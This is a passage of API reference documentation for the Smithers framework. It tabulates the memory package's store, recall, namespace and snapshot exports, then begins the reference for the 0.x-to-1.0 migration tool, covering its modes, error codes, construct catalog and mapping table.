| `listNotes`          | `(ListNotesInput) => Effect<Note[]>`              | Authoritative note read; `status` defaults to `accepted`, superseded notes hide unless `includeSuperseded`.                                             |
| `enableFts`          | `(kind: EnableFtsInput) => Effect<void>`          | Lazily enables FTS5 for one namespace kind and backfills it once; a kind that is already enabled is left as is, so calling it on every boot is cheap.   |
| `searchFts`          | `(SearchFtsInput) => Effect<FtsRow[]>`            | Direct FTS5 recall, `limit` defaulting to 20. A disabled kind fails `fts_not_enabled`.                                                                  |
| `searchRows`         | `(SearchRowsInput) => Effect<SearchRow[]>`        | Merged newest-first facts and notes for recall bindings; a bounded read never under-fills.                                                              |
| `deleteExpiredFacts` | `Effect<number>`                                  | Deletes expired facts with their projections, in bounded chunks.                                                                                        |
| `listThreadIds`      | `Effect<string[]>`                                | Every thread id, ordered by creation.                                                                                                                   |
| `deleteMessages`     | `({ threadId, ids }) => Effect<number>`           | Deletes the named messages, in bounded chunks.                                                                                                          |
| `compactMessages`    | `(CompactMessagesInput) => Effect<number>`        | Inserts the summary and deletes the sources in one durable write. A summary id that already exists fails `idempotency_conflict`.                        |

`compactMessages` captures the full `sourceMessages` rows and verifies them inside the write transaction before inserting or deleting. Missing or changed sources fail with `compaction_conflict`. An existing summary id fails with `idempotency_conflict`, including identical retries.

| Export      | Signature                                                                      | Behavior                                                                                                                                                                                                                                                                                                    |
| ----------- | ------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make`      | `Effect<Service, MemoryError, Crypto.Crypto \| DurableWriter \| SqlClient>`    | Builds the SQL-backed service and applies the package's idempotent migrations. Every operation runs in a span named `MemoryStore.<method>` carrying shape attributes only (namespace kind, limit, row count), and counts its outcome on the `smithers_memory_operations` counter by `method` and `outcome`. |
| `makeNoop`  | `(overrides?: Partial<Service>) => Service`                                    | An unavailable stub: every operation fails `store`, optionally overridden per method.                                                                                                                                                                                                                       |
| `layerNoop` | `(overrides?: Partial<Service>) => Layer<MemoryStore>`                         | Provides the unavailable stub.                                                                                                                                                                                                                                                                              |
| `layer`     | `Layer<MemoryStore, MemoryError, Crypto.Crypto \| DurableWriter \| SqlClient>` | Provides the authoritative SQL store over the SQL client and the durable writer.                                                                                                                                                                                                                            |

### `@smthrs/memory/MemoryTrellis`

| Export        | Signature                                   | Behavior                                                                                                                     |
| ------------- | ------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `MakeOptions` | interface                                   | What `Trellis.make` accepts, with `author` and `leaf` narrowed to `Flow.Any` so each can carry an annotation, plus `memory`. |
| `Parts`       | interface                                   | `{ author, leaf, continue? }`: the scoped flows to hold when you compose them yourself.                                      |
| `parts`       | `(options) => Parts`                        | Applies the policy to the author, the leaf, and the continuation without composing them.                                     |
| `make`        | `(options) => Trellis.TrellisFlow<unknown>` | Declares a trellis whose author, leaves, and memory flows all run under one policy. The graph is unchanged.                  |

### `@smthrs/memory/Migrations`

| Export  | Signature                                                                                 | Behavior                                                                                                                                                            |
| ------- | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `set`   | `DatabaseMigrations.MigrationSet`                                                         | Namespace `memory`, migration block `7000`; owns the authoritative memory schema and its indexes.                                                                   |
| `run`   | `Effect<ReadonlyArray<readonly [number, string]>, MigrationError \| SqlError, SqlClient>` | Applies pending memory migrations and records their identities atomically in `flows_migrations`. Repeated calls return an empty list after the schema is installed. |
| `layer` | `Layer<never, MigrationError \| SqlError, SqlClient>`                                     | Runs `run` during layer construction.                                                                                                                               |

`MemoryStore.make` and `MemoryStore.layer` run these migrations automatically. A standalone store needs only its SQL client, durable writer, and Crypto service; the resulting database can be reopened by another process.

When memory shares a database with the engine or control plane, compose all required lower migration sets before building memory. The CLI's shared control database installs `TimeTravelMigrations.sets`, `ControlMigrations.set`, and `MemoryMigrations.set` together. The database migration ladder rejects adding a previously absent lower block after memory has advanced the ledger; it does not assume those tables already exist. The [memory tutorial](/docs/tutorials/memory/) shows that shared composition.

### `@smthrs/memory/Namespace`

| Export                | Signature                                                      | Behavior                                                                                                                                                                                                                           |
| --------------------- | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Kind`                | schema and type                                                | The four stable lifetimes: `"flow"`, `"agent"`, `"user"`, `"global"`.                                                                                                                                                              |
| `Namespace`           | schema and type                                                | `{ kind, id }` with a non-empty `id`.                                                                                                                                                                                              |
| `MAX_TAGS`            | `16`                                                           | Maximum unique tags on one record or tag-group leaf.                                                                                                                                                                               |
| `MAX_TAG_GROUP_DEPTH` | `8`                                                            | Maximum root-inclusive depth of one tag-group expression.                                                                                                                                                                          |
| `MAX_TAG_GROUP_NODES` | `64`                                                           | Maximum expression nodes in one tag-group tree.                                                                                                                                                                                    |
| `TagPrefix`           | schema and type                                                | The vocabulary prefixes: `"branch:"`, `"stream:"`, `"source:"`, `"scope:"`.                                                                                                                                                        |
| `Tag`                 | schema and type                                                | A prefixed, non-empty tag.                                                                                                                                                                                                         |
| `Tags`                | schema and type                                                | A bounded, duplicate-free tag collection.                                                                                                                                                                                          |
| `MatchMode`           | schema and type                                                | `"any"`, `"all"`, `"any_strict"`, `"all_strict"`, `"exact"`.                                                                                                                                                                       |
| `TagGroup`            | schema and type                                                | The recursive query expression: `{ tags, match? }`, `{ and }`, `{ or }`, or `{ not }`, decoded within the published budgets.                                                                                                       |
| `matches`             | `(tagGroup: TagGroup, tags: ReadonlyArray<string>) => boolean` | The single source of truth for the five match modes. Non-strict `any` and `all` match untagged records; strict modes require at least one tag; `exact` requires set equality. An undecoded expression over budget answers `false`. |

### `@smthrs/memory/Opening`

| Export         | Signature                                                                                                  | Behavior                                                                                                                                                        |
| -------------- | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Candidate`    | interface                                                                                                  | `{ kind, bank, key, text }`, where `kind` is `"memory"` or `"skill"`: one recalled document or skill before judgment.                                           |
| `Verdict`      | interface                                                                                                  | `{ index, unnecessary, withheld }`: a judge's probability, from 0 to 1, that the shortlisted candidate at `index` is unnecessary.                               |
| `Selection`    | interface                                                                                                  | `{ rows, recalled, judged, inserted, filtered, skillsRecalled, skillsInserted, bytes }`: the chosen rows and counts safe for telemetry.                         |
| `shortlist`    | `(query, candidates, limit = 30) => ReadonlyArray<Candidate>`                                              | Ranks candidates by query keyword hits, ties in source order, and reserves half of `limit` for each kind so memories can't crowd out every skill.               |
| `select`       | `(options: { query, candidates, judge, tokenBudget, maxCandidates?, tokens? }) => Effect<Selection, E, R>` | Judges the shortlist once and keeps whole rows, least unnecessary first, while the escaped render fits `tokenBudget`. Invalid or withheld verdicts are dropped. |
| `Sources`      | service                                                                                                    | `{ recall(query): Effect<ReadonlyArray<Candidate>, MemoryError> }`, the host-owned sources an opening reads.                                                    |
| `layerSources` | `(banks, skills = []) => Layer<Sources, never, Recall>`                                                    | Recalls `banks` as memory candidates and appends the host's `skills`; the host owns and authorizes the bank list.                                               |
| `boundedQuery` | `(query, maxBytes = MAX_RECALL_QUERY_BYTES) => string`                                                     | Keeps the newest whole code points of `query` that fit `maxBytes` UTF-8 bytes.                                                                                  |

### `@smthrs/memory/Recall`

| Export                        | Signature                                    | Behavior                                                                                                                    |
| ----------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| `MAX_RECALL_BANKS`            | `16`                                         | Maximum banks per model-facing request.                                                                                     |
| `MAX_RECALL_BANK_NAME_LENGTH` | `128`                                        | Maximum code units in one bank name.                                                                                        |
| `BankName`                    | schema                                       | A non-empty bank name of at most `MAX_RECALL_BANK_NAME_LENGTH` code units; `Input.banks` and `RememberInput.bank` share it. |
| `MAX_RECALL_QUERY_BYTES`      | `16384`                                      | Maximum UTF-8 bytes in one query.                                                                                           |
| `MAX_RECALL_TOKENS`           | `65536`                                      | Maximum conservative byte budget accepted as `maxTokens`.                                                                   |
| `MAX_RECALL_TAG_GROUPS`       | `16`                                         | Maximum tag groups per request; each group is evaluated against every candidate row, so the list is bounded too.            |
| `DEFAULT_MAX_TOKENS`          | `2048`                                       | Byte budget when `maxTokens` is absent.                                                                                     |
| `MaxTokens`                   | schema                                       | An integer byte budget from 0 to `MAX_RECALL_TOKENS`; `Input.maxTokens` and `WithMemory.Policy.maxTokens` share it.         |
| `requestedRows`               | `(maxTokens = 2048) => number`               | Rows keyword and FTS recall keep: one per 256 bytes, at least one.                                                          |
| `TagGroup`                    | type                                         | `Namespace.TagGroup`.                                                                                                       |
| `Input`                       | schema and type                              | `{ banks, query, tagGroups?, maxTokens?, budget? }` where `budget` is `"low"`, `"mid"`, or `"high"`.                        |
| `Result`                      | schema and type                              | `{ bank, key, text, score, updatedAtMs? }`.                                                                                 |
| `Output`                      | schema and type                              | `ReadonlyArray<Result>`.                                                                                                    |
| `slot`                        | `Pattern` slot                               | The flow-valued recall injection slot.                                                                                      |
| `Service`                     | interface                                    | `{ recall(input): Effect<Output, MemoryError> }`.                                                                           |
| `Recall`                      | `Context.Service` tag `flows/memory/Recall`  | The context tag for the replaceable implementation.                                                                         |
| `capRecallResults`            | `(results, maxTokens = 2048) => Result[]`    | The shared byte cap: drops empty text, selects complete rows greedily, then truncates only the first overflowing row.       |
| `compareResults`              | `(left, right) => number`                    | The ranking every binding sorts by: score descending, newest update, key, then bank.                                        |
| `layerFrom`                   | `(run) => Layer<Recall, never, MemoryStore>` | Provides a store-backed binding, capturing the MemoryStore once.                                                            |
| `layer`                       | `(implementation: Service) => Layer<Recall>` | Provides a recall service.                                                                                                  |
| `makeNoop`                    | `() => Service`                              | Answers no rows.                                                                                                            |
| `layerNoop`                   | `Layer<Recall>`                              | Provides the empty implementation.                                                                                          |
| `bankForNamespace`            | `(namespace: Namespace) => string`           | Maps a structured namespace to its public bank name, `kind-id`.                                                             |
| `namespaceForBank`            | `(bank: string) => { kind, id }`             | The unvalidated syntactic inverse. Use `Bank.parse` at every I/O boundary.                                                  |

### `@smthrs/memory/RecallFts`

| Export            | Signature                                                    | Behavior                                                                                                                            |
| ----------------- | ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| `literalFtsQuery` | `(query: string) => string`                                  | Escapes a query into a quoted, implicit-AND FTS5 expression. `MemoryStore.searchFts` applies the same escaper, so pass raw queries. |
| `recall`          | `(input: Input) => Effect<Output, MemoryError, MemoryStore>` | Runs FTS recall against the supplied store. A disabled namespace kind propagates `fts_not_enabled`.                                 |
| `layer`           | `Layer<Recall, never, MemoryStore>`                          | Provides FTS recall as the replaceable recall slot.                                                                                 |

### `@smthrs/memory/RecallKeyword`

| Export                | Signature                                                    | Behavior                                                                                                            |
| --------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------- |
| `Row`                 | type                                                         | `Pick<MemoryStore.SearchRow, "key" \| "text" \| "tags" \| "status" \| "updatedAtMs">`.                              |
| `recall`              | `(input: Input) => Effect<Output, MemoryError, MemoryStore>` | Runs keyword recall against the supplied store. Scores every row of each selected bank; there is no recency window. |
| `layer`               | `Layer<Recall, never, MemoryStore>`                          | Provides keyword recall with no host dependencies.                                                                  |
| `normalizeQueryTerms` | `(value: string) => ReadonlyArray<string>`                   | The NFKC, lowercase term split scoring compares against.                                                            |
| `scoreRow`            | `(query: ReadonlyArray<string>, row: Row) => number`         | The term-occurrence score of one row.                                                                               |

### `@smthrs/memory/RecallSemantic`

| Export                     | Signature                                                                         | Behavior                                                                                                                                                                 |
| -------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Vector`                   | interface                                                                         | A durable projection row: `{ bank, recordKind, recordId, model, contentDigest, dimensions, vector, updatedAtMs }`; components may be a readonly array or `Float32Array`. |
| `VectorStore`              | interface                                                                         | The injectable vector-table adapter: `upsert(vector)`, which keeps the newest row by `updatedAtMs`, and finite `scan(banks, model)` pages of at most 64 vectors.         |
| `Options`                  | interface                                                                         | `{ vectorStore, model?, halfLifeMs?, projectionTimeout? }`.                                                                                                              |
| `budgetLimits`             | `{ low: 3, mid: 8, high: 20 }`                                                    | Deterministic result counts for the three budgets.                                                                                                                       |
| `defaultModel`             | `Embedding.inProcessModel`                                                        | The model semantic recall uses when a declaration names none. It is the lexical in-process hash, so name a provider-backed model for semantic similarity.                |
| `makeSqlVectorStore`       | `(database: DatabaseService) => VectorStore`                                      | The SQLite adapter for the migration-owned `memory_vectors` table.                                                                                                       |
| `recall`                   | `(input, options) => Effect<Output, MemoryError, MemoryStore \| Embedding>`       | Cosine similarity decayed by row age. Skips foreign-model and stale rows; a same-model dimension mismatch fails `vector_model_mismatch`.                                 |
| `ProjectionInput`          | interface                                                                         | One authoritative row submitted for projection after commit: `{ bank, recordKind, recordId, text, updatedAtMs }`.                                                        |
| `Projector`                | interface                                                                         | `{ project(row), activeKeys() }`: the per-key serialized projection coordinator. There is no callable projector alias.                                                   |
| `makeProjector`            | `(options: Options) => Effect<Projector, never, Scope>`                           | Constructs the coordinator in its owner scope. Projection retries once, times out after `projectionTimeout`, and logs failures without changing the write result.        |
| `defaultProjectionTimeout` | `"5 seconds"`                                                                     | The projection deadline used when `Options.projectionTimeout` is absent.                                                                                                 |
| `decorateStore`            | `(store: Service, projector: Projector, embedding: Embedding.Service) => Service` | Adds after-commit projection to `putFact` and `putNote`, keeping the ordinary write signatures.                                                                          |
| `layer`                    | `(options: Options) => Layer<Recall, never, MemoryStore \| Embedding>`            | Provides semantic recall from the store, the embedding service, and the vector table.                                                                                    |

### `@smthrs/memory/Source`

| Export     | Signature                                                                                                | Behavior                                                                                                                                                                                                                                                                                 |
| ---------- | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Input`    | interface                                                                                                | `Recall.Input` plus `lineageId`, `iteration`, optional `primerBanks`, and optional `maxBytes` (default 16,384).                                                                                                                                                                          |
| `Source`   | interface                                                                                                | `{ read(input): Effect<Snapshot, MemoryError \| TimeoutError, MemoryStore \| Recall> }`.                                                                                                                                                                                                 |
| `Declared` | interface                                                                                                | `{ rows, digest }`: the exact shape `Agent.Options.memory` accepts; `digest` is the SHA-256 of `render(rows)`.                                                                                                                                                                           |
| `readRows` | `(input: Input) => Effect<Snapshot, MemoryError \| TimeoutError, MemoryStore \| Recall>`                 | Reads primer notes, then recall, unrendered and bounded so their render fits `maxBytes`. Fails typed; a read over two seconds fails with `TimeoutError`.                                                                                                                                 |
| `render`   | `(rows: ReadonlyArray<Row>) => string`                                                                   | Fences rows, one escaped line each; `""` for no rows.                                                                                                                                                                                                                                    |
| `make`     | `(options?: { capacity?: number }) => Source`                                                            | Constructs a memoizing source. `capacity` defaults to 1,024 identities and must be a positive safe integer. Beyond it the least recently used identity is evicted and its next read refetches unless a `SnapshotRecorder` is in context. A failed read is neither memoized nor recorded. |
| `source`   | `Source`                                                                                                 | The default source value.                                                                                                                                                                                                                                                                |
| `declared` | `(source: Source, input: Input) => Effect<Declared, MemoryError \| TimeoutError, MemoryStore \| Recall>` | Reads the frozen snapshot once per `(lineageId, iteration)` and digests its render.                                                                                                                                                                                                      |
| `ofRows`   | `(rows: ReadonlyArray<Row>) => Declared`                                                                 | Declares rows a host already holds, digesting their render. It does not bound them.                                                                                                                                                                                                      |

### `@smthrs/memory/SnapshotRecorder`

| Export             | Signature                                              | Behavior                                                                                                                                                                   |
| ------------------ | ------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Row`              | schema and type                                        | `{ origin: "primer" \| "recall", bank, key, text }`: one unrendered row. `key` is the note id (else the text's digest) for a primer and the recall key for a recalled row. |
| `Snapshot`         | schema and type                                        | `{ rows }`: the value one snapshot holds.                                                                                                                                  |
| `Identity`         | interface                                              | `{ lineageId, iteration }`: the stable identity of one opening snapshot.                                                                                                   |
| `Service`          | interface                                              | `{ record(identity, effect) }`: answer the recorded `Snapshot`, or evaluate, record, and answer `effect`.                                                                  |
| `SnapshotRecorder` | `Context.Service` tag `flows/memory/SnapshotRecorder`  | The optional recorder tag. With no service in context, `Source` keeps its process-local memo.                                                                              |
| `layer`            | `(implementation: Service) => Layer<SnapshotRecorder>` | Provides a recorder.                                                                                                                                                       |

### `@smthrs/memory/WithMemory`

| Export         | Signature                                                                                                                                                    | Behavior                                                                                                                                 |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| `Policy`       | schema and type                                                                                                                                              | `{ banks, recall?: "none", maxTokens, retain?: "never" }`, with `maxTokens` capped at `Recall.MAX_RECALL_TOKENS`.                        |
| `MemoryPolicy` | annotation key `flows/memory/Annotations/MemoryPolicy`                                                                                                       | The annotation key carrying the policy on a flow.                                                                                        |
| `Declared`     | `Flow.Any \| DurableDeclaration`                                                                                                                             | A declaration a policy attaches to: a `@smthrs/core` signature, or the `@smthrs/flow` flow a pattern composes.                           |
| `references`   | `(flow: Declared) => ReadonlyArray<Flow.Reference>`                                                                                                          | The collaborators a flow declares, callable flows and unresolved registry names alike. A `@smthrs/flow` flow declares none.              |
| `children`     | `(flow: Declared) => ReadonlyArray<Flow.Any>`                                                                                                                | The callable flows a flow declares.                                                                                                      |
| `policyOf`     | `(flow: Declared) => Policy \| undefined`                                                                                                                    | Reads the policy a flow carries.                                                                                                         |
| `withMemory`   | `(flow: Flow<Input, Output, E>, policy: Policy) => Flow<Input, Output, E>`; also `(Flow.Any) => Flow.Any` and `(DurableFlow.Flow<…>) => DurableFlow.Flow<…>` | Returns a copy carrying the policy, with every declared flow carrying the same policy. Invalid policies throw `MemoryError` at the call. |

### `@smthrs/memory/test/TestMemory`

| Export              | Signature                                                    | Behavior                                                                                   |
| ------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------ |
| `layer`             | `Layer<MemoryStore>`                                         | The authoritative store over a fresh in-memory database, with deterministic test services. |
| `layerWithDatabase` | `Layer<MemoryStore \| DurableWriter \| SqlClient.SqlClient>` | The same store, plus its in-memory database services for tests that inspect rows directly. |

For installation and the import forms, see [Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/memory/docs/installation.md) and [Import surface](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/memory/docs/surface.md).

### Host recall selection

`Source.selectRecall(input, choose, cost, tokenBudget)` recalls once, then selects
whole rows in the index order returned by the effectful `choose` callback.
Duplicate and invalid indexes are ignored. Selection stops at a negative,
nonfinite, or over-budget row cost; the budget is floored and clamped to zero,
and nonfinite budgets select no positive-cost rows. Recall's byte budget still
applies. The effect requires `Recall` and propagates `MemoryError` and callback
failures without changing them. Direct recall remains unscoped; hosts enforce
namespace policy before calling this helper.

---

# @smthrs/migrate
https://smithers.sh/docs/reference/api/migrate/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/migrate/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/migrate/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/migrate/docs)

This page is the public API reference for the **Smithers 0.x to 1.0 migration
tool**: the scanners that read a JSX-era project, the mapping that says what
each construct becomes, the checks that enforce the migration contract, and the
report that records all of it. `apply` rewrites application source to `Flow`,
`Action`, and Effect, archives the old sources, and writes that report.

Everything on this page is deterministic. The report's Markdown is a pure
function of its JSON, and every list in the JSON is sorted, so two reads of
the same project differ only in the `generatedAt` timestamp and a reviewer
sees only what actually changed.

## Example

```bash
smthrs migrate --scan
smthrs migrate
smthrs migrate --apply --seat anthropic:claude-sonnet-4-5
```

## Import forms

The root entry point exports the scanner modules, plus `Contract`, `Gate`, and
`Options`, as namespaces. Each is also importable from its own subpath:

```ts
import { Detect, Inventory, Mapping, Report, RunState, Scan, Units } from "@smthrs/migrate"
// or
import * as Scan from "@smthrs/migrate/Scan"
```

The rest of the migration flow is reached by subpath only, because
`import "@smthrs/migrate"` loads the scanners and nothing else: deciding
whether to migrate must not require installing the 1.0 runtime.

```ts
import * as Command from "@smthrs/migrate/flow/Command"
```

`@smthrs/migrate/internal/*`, `@smthrs/migrate/flow/internal/*`, and
`@smthrs/migrate/*/index` are not public; all three are blocked in the export
map. `@smthrs/migrate/package.json` is exported.

Every scanner is an Effect requiring `FileSystem.FileSystem` and `Path.Path`,
and every one fails with `MigrateError`. See
[Read a project from your own script](https://github.com/smithersai/smithers/blob/main/packages/smithers/migrate/docs/guides/embed-the-scanners.md) for a
runnable composition.

## Modes and exit codes

| Mode    | What it does                                                    | Writes                         |
| ------- | --------------------------------------------------------------- | ------------------------------ |
| `scan`  | Reads the project.                                              | Nothing.                       |
| `plan`  | Scans and plans the units. The default.                         | `report.json` and `report.md`. |
| `apply` | Checkpoints, transforms one unit at a time, verifies, archives. | The project, plus the report.  |

| Exit | Meaning                                                                                                                        |
| ---- | ------------------------------------------------------------------------------------------------------------------------------ |
| 0    | Every planned unit finished.                                                                                                   |
| 1    | A unit failed verification and was restored from its checkpoint.                                                               |
| 3    | Parked. The project is intact and the operator has a decision to make: 0.x run state, or a construct with no safe translation. |

## MigrateError

### Exports

| Export             | Signature                                                                     | What it is                                                               |
| ------------------ | ----------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| `MigrateErrorCode` | `Schema.Literals([...])`                                                      | The eleven codes, as a schema. Its `.Type` is the code union.            |
| `MigrateError`     | `class MigrateError`                                                          | The tagged error itself, with `code`, `message`, and optional `details`. |
| `make`             | `(code: MigrateErrorCode, message: string, details?: string) => MigrateError` | Builds one without naming the fields.                                    |
| `io`               | `(message: string) => (cause: unknown) => MigrateError`                       | The filesystem seam: turns an unknown cause into an `io` failure.        |

One failure type for the whole package, so the CLI maps a code onto an exit
status without walking a cause chain. The codes are `run-state-blocked`,
`unsafe-blocked`, `apply-in-progress`, `no-vcs`, `checkpoint-failed`,
`verify-failed`, `agent-failed`, `io`, `unsupported-project`, `invalid-layout`,
and `stale-plan`. The first two are the operator gates, and the third is a
second apply finding the first one's lock; all three exit 3, and every other
code exits 1. `invalid-layout` refuses a root, report directory, or flows
directory that could leave or overlap the project, before anything is read.
`stale-plan` refuses an apply whose project changed after it was planned,
before anything is written. `Command.isMigrateError` is the guard the entry
points use: the class and its code, never a `_tag` string an arbitrary object
can carry.

`MigrateError.make(code, message, details?)` builds one. `MigrateError.io(message)`
is the filesystem seam: it turns an unknown cause into an `io` failure so a
missing file never escapes as an untyped defect.

## Constructs

### Exports

| Export          | Signature                                           | What it is                                                                      |
| --------------- | --------------------------------------------------- | ------------------------------------------------------------------------------- |
| `ConstructKind` | `"agent" \| "cli" \| "component" \| ... \| "value"` | The fourteen kinds a catalog row can have.                                      |
| `Construct`     | `interface`                                         | One catalog row.                                                                |
| `constructs`    | `ReadonlyArray<Construct>`                          | The whole catalog.                                                              |
| `subpathOf`     | `ReadonlyMap<string, string>`                       | The 0.x subpath each construct was importable from.                             |
| `byName`        | `(name: string) => Construct \| undefined`          | One row by the identifier source writes.                                        |
| `byKind`        | `(kind: ConstructKind) => ReadonlyArray<Construct>` | Every row of one kind.                                                          |
| `isComponent`   | `(name: string) => boolean`                         | Whether a name is a catalogued component.                                       |
| `isCatalogued`  | `(name: string) => boolean`                         | Whether a name has a row at all. A name with none raises `uncatalogued-import`. |

A `Construct` carries `name` (the identifier application code writes), `kind`,
`source` (the file in the Smithers 0.x source tree that defines it, relative to
that tree's root), and, for a component, `props`: the props that carry
semantics, because a prop is what raises a construct's class.

`Constructs.constructs` is the catalog of everything application code can
import from the 0.x facade and from `@smthrs/components`. Every row names the
construct as source writes it, its `kind`, and the file in the 0.x source
tree that defines it. That last field is what makes a decision auditable: you
can check the claim against Smithers 0.35.0 rather than take the tool's word
for it.

The kinds are `component`, `ctx`, `factory`, `tool`, `agent`, `runtime`,
`store`, `server`, `testing`, `subpath`, `pragma`, `config`, `cli`, and
`value`. A `component` row also lists the props the old component declared,
because a prop is what raises a construct's class.

Two halves of the catalog are read out of the 0.x source rather than written
by hand, because the old surface is too large to keep by hand and a name that
is missing is a name the scanner drops: every value the facade exports from its
root and from each subpath, and every prop each `<Name>Props.ts` declares.
`value` rows come from the first half, and every component row's props are the
union of the hand-written ones and the second half.

`byName`, `byKind`, `isComponent`, and `isCatalogued` read the catalog. It is
data, not behavior: `Mapping` decides what a row becomes, and `Inventory`
decides which rows a project actually uses. An imported name with no row raises
`uncatalogued-import` rather than vanishing.

## Mapping

### Exports

| Export                   | Signature                                                          | What it is                                                                |
| ------------------------ | ------------------------------------------------------------------ | ------------------------------------------------------------------------- |
| `MappingClass`           | `"automatic" \| "guided" \| "unsafe"`                              | How much freedom a rewrite has.                                           |
| `MappingRow`             | `interface`                                                        | One old-to-new pairing.                                                   |
| `rows`                   | `ReadonlyArray<MappingRow>`                                        | The whole table, one row per catalogued construct.                        |
| `byConstruct`            | `(construct: string) => MappingRow \| undefined`                   | The row for a catalog name.                                               |
| `byImport`               | `(name: string) => MappingRow \| undefined`                        | The row for an imported name.                                             |
| `classify`               | `(hit: InventoryEntry) => MappingClass`                            | The class of one occurrence, props included.                              |
| `classifyWithReason`     | `(hit: InventoryEntry) => { class: MappingClass; reason: string }` | The same call with the reason attached.                                   |
| `snippet`                | `(hit: InventoryEntry) => string \| undefined`                     | The rewrite text for an `automatic` hit, carrying that hit's identifiers. |
| `markdownTable`          | `() => string`                                                     | The table below, rendered from `rows`.                                    |
| `subscriptionAgents`     | `ReadonlyArray<string>`                                            | The four constructs whose seat is an operator decision.                   |
| `subscriptionSuggestion` | `string`                                                           | The suggestion every one of those hits carries into the report.           |

A `MappingRow` carries `construct`, `target` (the new API as a reader would
name it, or `null`), `targetModule` (the flows module the target lives in, or
`null`), `rule`, and `class`.

`Mapping.rows` pairs every catalog construct with a target, the flows module
that target lives in, the rule that governs the rewrite, and a class:

- `automatic`: this package emits the exact rewrite and the agent applies it.
- `guided`: the agent rewrites under the rule and records a decision.
- `unsafe`: the scanner flags it before any edit. `apply` refuses the unit
  until the operator names the construct in `--allow-unsafe`, and even then the
  agent leaves a `TODO(migrate-smithers-v1)` marker and an `unsupported` report
  entry rather than an imitation.

`Mapping.classify(hit)` is the class of one inventory hit, and
`Mapping.classifyWithReason(hit)` adds why. A prop raises a class: `<Parallel>`
is automatic, `<Parallel maxConcurrency>` is guided, `<Task hijack>` is unsafe,
and `<Loop maxIterations={Infinity}>` is guided _with a reason_, because
bounded recursion needs a bound and the migration has to choose one.

`Mapping.snippet(hit)` is the rewrite text for a hit whose construct is
automatic: a compilable fragment carrying the hit's own identifiers, not a
whole file. It returns `undefined` for everything else, and the agent works
from the rule instead. Compilable is kept literally: a step id that would
start with a digit is prefixed (`1st` becomes `Step1st`), every key, tag, and
seat is quoted, a step group whose ids would fold to one identifier (`a-b`
and `a_b`) is refused, and a `Timer` duration is emitted as a number of
milliseconds or a duration string and refused when it is an expression.

`Mapping.byConstruct(name)` resolves a row for every catalog name. The table
below is `Mapping.rows` rendered, so it cannot fall behind the code.

| Old construct                            | New target                                                                                   | Module                                                                          | Class     |
| ---------------------------------------- | -------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | --------- |
| `.smithers/agents.ts`                    | none                                                                                         | none                                                                            | automatic |
| `.smithers/bunfig.toml`                  | none                                                                                         | none                                                                            | automatic |
| `.smithers/gateway.ts`                   | none                                                                                         | none                                                                            | unsafe    |
| `.smithers/listeners.json`               | none                                                                                         | none                                                                            | unsafe    |
| `.smithers/packs.lock`                   | none                                                                                         | none                                                                            | unsafe    |
| `.smithers/preload.ts`                   | none                                                                                         | none                                                                            | automatic |
| `.smithers/smithers.toon`                | none                                                                                         | none                                                                            | unsafe    |
| `.smithers/types/assets.d.ts`            | none                                                                                         | none                                                                            | automatic |
| `// smithers-description:`               | `The registry descriptor`                                                                    | `@smthrs/registry`                                                              | automatic |
| `// smithers-display-name:`              | `The registry descriptor`                                                                    | `@smthrs/registry`                                                              | automatic |
| `// smithers-metadata-version:`          | `The registry descriptor`                                                                    | `@smthrs/registry`                                                              | automatic |
| `// smithers-source:`                    | `The registry descriptor`                                                                    | `@smthrs/registry`                                                              | automatic |
| `// smithers-tags:`                      | `The registry descriptor`                                                                    | `@smthrs/registry`                                                              | automatic |
| `@jsxImportSource smithers-orchestrator` | none                                                                                         | none                                                                            | automatic |
| `@jsxImportSource smthrs`                | none                                                                                         | none                                                                            | automatic |
| `AmpAgent`                               | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `AnthropicAgent`                         | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `AntigravityAgent`                       | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `Approval`                               | `HumanTask.action (kind: confirm) with Node.branch`                                          | `@smthrs/flow, @smthrs/plan/Node`                                               | automatic |
| `ApprovalGate`                           | `HumanTask.action (kind: confirm) with Node.branch`                                          | `@smthrs/flow, @smthrs/plan/Node`                                               | automatic |
| `Aspects`                                | `Sandbox.Limits and Envelope.budget`                                                         | `@smthrs/harness/Sandbox, @smthrs/control/ControlSchema`                        | guided    |
| `BackpressurePlanning`                   | none                                                                                         | none                                                                            | unsafe    |
| `Branch`                                 | `Node.branch({ if, then, else })`                                                            | `@smthrs/plan/Node`                                                             | automatic |
| `CheckSuite`                             | `MapReduce.make({ map, reduce })`                                                            | `@smthrs/patterns/MapReduce`                                                    | guided    |
| `ClassifyAndRoute`                       | `Node.branch`                                                                                | `@smthrs/plan/Node`                                                             | guided    |
